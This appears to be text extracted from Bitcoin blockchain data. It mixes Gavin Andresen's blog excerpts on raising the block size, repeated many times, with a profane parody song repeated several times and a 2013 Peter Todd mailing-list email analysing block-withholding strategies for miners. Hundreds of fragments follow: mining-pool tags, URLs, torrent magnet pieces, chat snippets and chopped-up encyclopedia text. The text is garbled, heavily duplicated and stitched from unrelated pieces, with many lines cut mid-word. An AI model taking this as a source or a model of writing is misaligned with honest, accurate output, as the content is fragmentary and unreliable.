one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
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u=http://dev.chroma.io/AdETJRii
u=http://dev.chroma.io/AbmXhVah
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Mined by f2poolhaobtc
Mined by AntPool usa1%
u=https://cpr.sm/glu-zqG5oz
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Mined by AntPool usa1%
Mined by AntPool bj0
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Mined by AntPool usa1%
u=https://cpr.sm/QLg3eR95RN8]
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ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
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Mined by AntPool usa1%
Mined by wl415659999
Mined by AntPool usa1%
Mined by AntPool usa1%
Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool sc1+t8: UJ
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
Mined by zhao545382343
Date: Wed, 6 Nov 2013 22:44:04 -0500
From: Peter Todd <pete@petertodd.org>
To: Christophe Biocca <christophe.biocca@gmail.com>
Message-ID: <20131107034404.GA5140@savin>
References: <5279D49D.5050807@jerviss.org>
<CAJHLa0N1-8LfFuWq=vS0r-t2Bt-qZ6yKuGjrnicUOj+K6Gpx5A@mail.gmail.com>
<CANOOu=-MsPPgACKcHvsvtFAOAiULL+BOQvJz1tC3L=nT8wN01Q@mail.gmail.com>
In-Reply-To: <CANOOu=-MsPPgACKcHvsvtFAOAiULL+BOQvJz1tC3L=nT8wN01Q@mail.gmail.com>
Cc: Bitcoin-development@lists.sourceforge.net
Subject: Re: [Bitcoin-development] we can all relax now
On Wed, Nov 06, 2013 at 01:06:47PM -0500, Christophe Biocca wrote:
> I might try building this sometime soon. I think it may also serve an
> educational purpose when trying to understand the whole network's behaviour.
>
> What level of accuracy are we looking for though? Obviously we need to
> fully emulate the steps of the network protocol, and we need to be able to
> specify time taken for transmission/processing for each node. Do we care
> about the actual contents of the messages (to be able to simulate double
> spend attempts, invalid transactions and blocks, SPV node communication),
> and their validation (actual signatures and proof of work)?
>
> I imagine the latter is pretty useless, beyond specifying that the
> signature/proof of work is valid/invalid.
>
> If we could build up a set of experiments we'd like to run on it, it would
> help clarify what's needed.
>
> Off the top of my head:
>
> - Peter Todd's miner strategy of sending blocks to only 51% of the
> hashpower.
Speaking of, I hadn't gotten around to doing up the math behind that
strategy properly; turns out 51% I was overly optimistic and the actual
threshold is 29.3%
Suppose I find a block. I have Q hashing power, and the rest of the
network 1-Q. Should I tell the rest of the network, or withhold that
block and hope I find a second one?
Now in a purely inflation subsidy environment, where I don't care about
the other miners success, of course I should publish. However, if my
goals are to find *more* blocks than the other miners for whatever
reason, maybe because transaction fees matter or I'm trying to get
nLockTime'd announce/commit fee sacrifices, it gets more complicated.
There are three possible outcomes:
1) I find the next block, probability Q
2) They find the next block, probability 1-Q
2.1) I find the next block, probability Q, or (1-Q)*Q in total.
2.2) They find the next block, probability (1-Q)^2 in total.
Note how only in the last option do I lose. So how much hashing power do
I need before it is just as likely that the other miners will find two
blocks before I find either one block, or two blocks? Easy enough:
Q + (1-Q)*Q = (1-Q)^2 -> Q^2 - Q + 1/2 -> Q = (1 - \sqrt(2))/2
Q ~= 29.2%
So basically, if I'm trying to beat other miners, once I have >29.3% of
the hashing power I have no incentive to publish the blocks I mine!
But hang on, does it matter if I'm the one who actually has that hashing
power? What if I just make sure that only >29.3% of the hashing power
has that block? If my goal is to make sure that someone does useless
work, and/or they are working on a lower height block than me, then no,
I don't care, which means my original "send blocks to >51% of the
hashing power" analysis was actually wrong, and the strategy is even
more crazy: "send blocks to >29.3% of the hashing power" (!)
Lets suppose I know that I'm two blocks ahead:
1) I find the next block: Q (3:0)
2) They find the next block: (1-Q) (2:1)
2.1) I find the next block: (1-Q)*Q (3:1)
2.2) They find the next block: (1-Q)^2 (2:2)
2.2.1) I find the next block: (1-Q)^2 * Q (3:2)
2.2.2) They find the next block: (1-Q)^3 (2:3)
At what hashing power should I release my blocks? So remember, I win
this round on outcomes 1, 2.1, 2.2.1 and they only win on 2.2.2:
Q + (1-Q)*Q + (1-Q)^2*Q = (1-Q)^3 -> Q = 1 - 2^-3
Q ~= 20.6%
Interesting... so as I get further ahead, or to be exact the group of
miners who have a given block gets further ahead, I need less hashing
power for my incentives to be to *not* publish the block I just found.
Conversely this means I should try to make my blocks propagate to less
of the hashing power, by whatever means necessary.
Now remember, none of the above strategy requires me to have a special
low-latency network or anything fancy. I don't even have to have a lot
of hashing power - the strategy still works if I'm, say, a 5% pool. It
just means I don't have the incentives people thought I did to propagate
my blocks widely.
The other nasty thing about this, is suppose I'm a miner and recently
got a block from another miner: should I forward that block, or not
bother? Well, it depends: if I have no idea how much of the hashing
power has that block, I should forward the block. But again, if my goal
is to be most likely to get the next block, I should only forward in
such a way that >30% of the hashing power has the block.
This means that if I have some information about what % already has that
block, I have less incentive to forward! For instance, suppose that
every major miner has been publishing their node addresses in their
blocks - I'll have a pretty good idea of who probably has that most
recent block, so I can easily make a well-optimized decision not to
forward. Similarly because the 30% hashing power figure is the
*integral* of time * hashes/second, if miners are forwarding
near-target-headers, I might as well wait a few seconds and see if I see
any near-target-headers; if I do for this block then I have evidence
that hashing power does have it, and I shouldn't forward.
So yeah, we're fucked and have got to fix this awful incentive structure
somehow before the inflation subsidy gets any smaller. Also, raising the
blocksize, especially by just removing the limit, is utter madness given
it can be used to slow down block propagation selectively, so the
hashing power that gets a given block is limited repeatably to the same
group.
P.S: If any large pools want to try this stuff out, give me a shout. You
have my PGP key - confidentiality assured.
P.P.S: If you're mining on a pool with more than, like, 1% hashing
power, do the math on varience... Seriously, stop it and go mine on a
smaller pool, or better yet, p2pool.
--
'peter'[:-1]@petertodd.org
00000000000000078b970f5134bae96da021744f80e04aa9dc2e2d2c2bcb07c2
Mined by AntPool usa1%
Mined by AntPool bj6+
Mined by AntPool usa1%
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool usa1%
Mined by AntPool bj2
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
Mined by AntPool usa1%
Mined by AntPool sc0
Mined by xulaixing2015
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj5&
u=https://cpr.sm/8fWeec3aTo
u=https://cpr.sm/8fWeec3aTo
u=https://cpr.sm/8fWeec3aToP
d869db7fe62fb07c25a0
u=https://cpr.sm/_K_7g31bPZ
u=https://cpr.sm/h-gGwVBvDU`
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u=https://coloredcoin.io/pm10
u=https://coloredcoin.io/ref
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u=https://coloredcoin.io/acmt
*j(e22aad8be7bbfad0159aef8879b8df664e4c5c9b
Mined by AntPool sc0
Mined by AntPool usa1%
bitcoin op_return testing
--== Hello CONFidence ==--
Mined by zhp13539998899
Mined by AntPool usa1%
u=https://coloredcoin.io/csch
u=https://coloredcoin.io/arb
Mined by f2poolscant
ASCRIBESPOOLREGISTER
Mined by f2poolscant
ivaMined by f2poolscant
,Mined by AntPool bj0
~Cb Happy everyday UL
u=https://cpr.sm/zskRLCZEAw8]
9Mined by AntPool bj2
%h twitter.com/Janet_Ai_YaXuan UL!
Mined by AntPool sc0
Mined by startover0001
Mined by AntPool usa1%
dbsh +SGD500 bcc to john
Mined by AntPool bj5&
Mined by AntPool usa1%
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Mined by AntPool bj6+
Mined by AntPool bj5&
Mined by AntPool usa09
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u=https://cpr.sm/ul0HOoE4Nn
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ASCRIBESPOOLREGISTER
agnet:?xt=urn:btih:b
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FOIA, ToEs, Ref mate
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0150b0b7282b615f27d3
515b83dcfbd&dn=Liter
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Books - History.torr
btih:e73fc5d9bfe0d62
27c3646b1e1d42174d2f
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efc7810e39f7280383ce
it - Essays - Anomal
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22cdbbc35b042&dn=Lit
u=https://www.capelazarev.com/d
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u=http://dev.chroma.io/ATZYen9H
Mined by AntPool sc1+t8: UL
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Mined by AntPool sc1+t8: UL
u=http://dev.chroma.io/AGpAyLEV
dbsh -100 to baba baba187
Mined by AntPool sc0
Mined by f2poolscant
Fund aworldapart.us
u=https://coloredcoin.io/arb
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u=https://cpr.sm/Pds4GiV4d1
Mined by lgj252885909
dbsh -100 to baba baba188
dbsh -010 to baba baba188
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dbsh -020 to baba baba187
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Mined by AntPool usa1%
dbsh -020 to baba baba187
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megabigpower.comUMd4
dbsh -020 to baba baba187
8 to 9 May 2015 hackathon
Dear Armanno,
thank) Uncle Mark fo
Mined by AntPool sc0
Mined by AntPool usa09
dbsh -020 to baba baba187
*j({"h":"321263dcdf398cbc64074d1085ab9768"}
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Mined by AntPool bj2
dbsh -010 to baba baba188
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dbsh -020 to baba baba187
Mined by AntPool sc0
Mined by qq353335066
dbsh -020 to baba baba187
Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool usa1%
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
Mined by AntPool bj5&
Mined by AntPool sc0
Mined by qq553967525
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Mined by AntPool sc0
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Mined by AntPool usa09
Mined by liyapeng1986423
Mined by AntPool sc1+t8: UN
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ASCRIBESPOOLREGISTER
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ASCRIBESPOOLREGISTER
TMined by f2poolhaobtc
%j# http://chat.4my.eu/ the best surf
ASCRIBESPOOLREGISTER
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Mined by zhangtao830112
Ellie Goulding ConcertH
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5Mined by AntPool sc0
https://AsicTrade.com UN
u=https://cpr.sm/MfZ8WjvsAx8]
magch:RBMUVKWL3ZAO6PRFCDCHG5HMBKRZNQEO
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CaihuiLiwenCaizimu20110501 UN
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"Mined by AntPool bj5&
<Mined by AntPool sz0
=Mined by AntPool usa1%
Jacques Rascagneres - CryptoBE UO
>Mined by AntPool bj5&
~ Jacques Rascagneres - CryptoBE UO
)j'You're poo you're papa, says WeeWaWeeWa
(j&Let's agree on 5MB blocks and move on?
Mined by AntPool usa1%
Mined by AntPool usa1%
a single piece of data
*j(dude, you can have multiple OP_R outputs
*j(Bitcoin uses peer-to-peer technology to
*j(operate with no central authority or banp
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over multiple transactions
(j&dude, it's nonstd; search but #manyoprp
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*j(g of bitcoins is carried out collectivelP
)j'dude, i believe you can't. but show me?
(j&dude, made one but nowhere to bcast :$
'j%dude, well that's the problem then :)
omFMined by f2poolhaobtc
ASCRIBESPOOLREGISTER
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&j$dude, relayed with 68.168.105.168 ;)
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5&
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Mined by AntPool bj5&
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*j(Bitcoin is the first implementation of a0
*j( concept called "cryptocurrency", which
*j(was first described in 1998 by Wei Dai o
*j(n the cypherpunks mailing list, suggesti
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*j(uses cryptography to control its creatio
*j(n and transactions, rather than a centra
*j(l authority. The first Bitcoin specifica
*j(tion and proof of concept was published
*j(in 2009 in a cryptography mailing list b
*j(y Satoshi Nakamoto. Satoshi left the pro
*j(ject in late 2010 without revealing much
*j( about himself. The community has since p
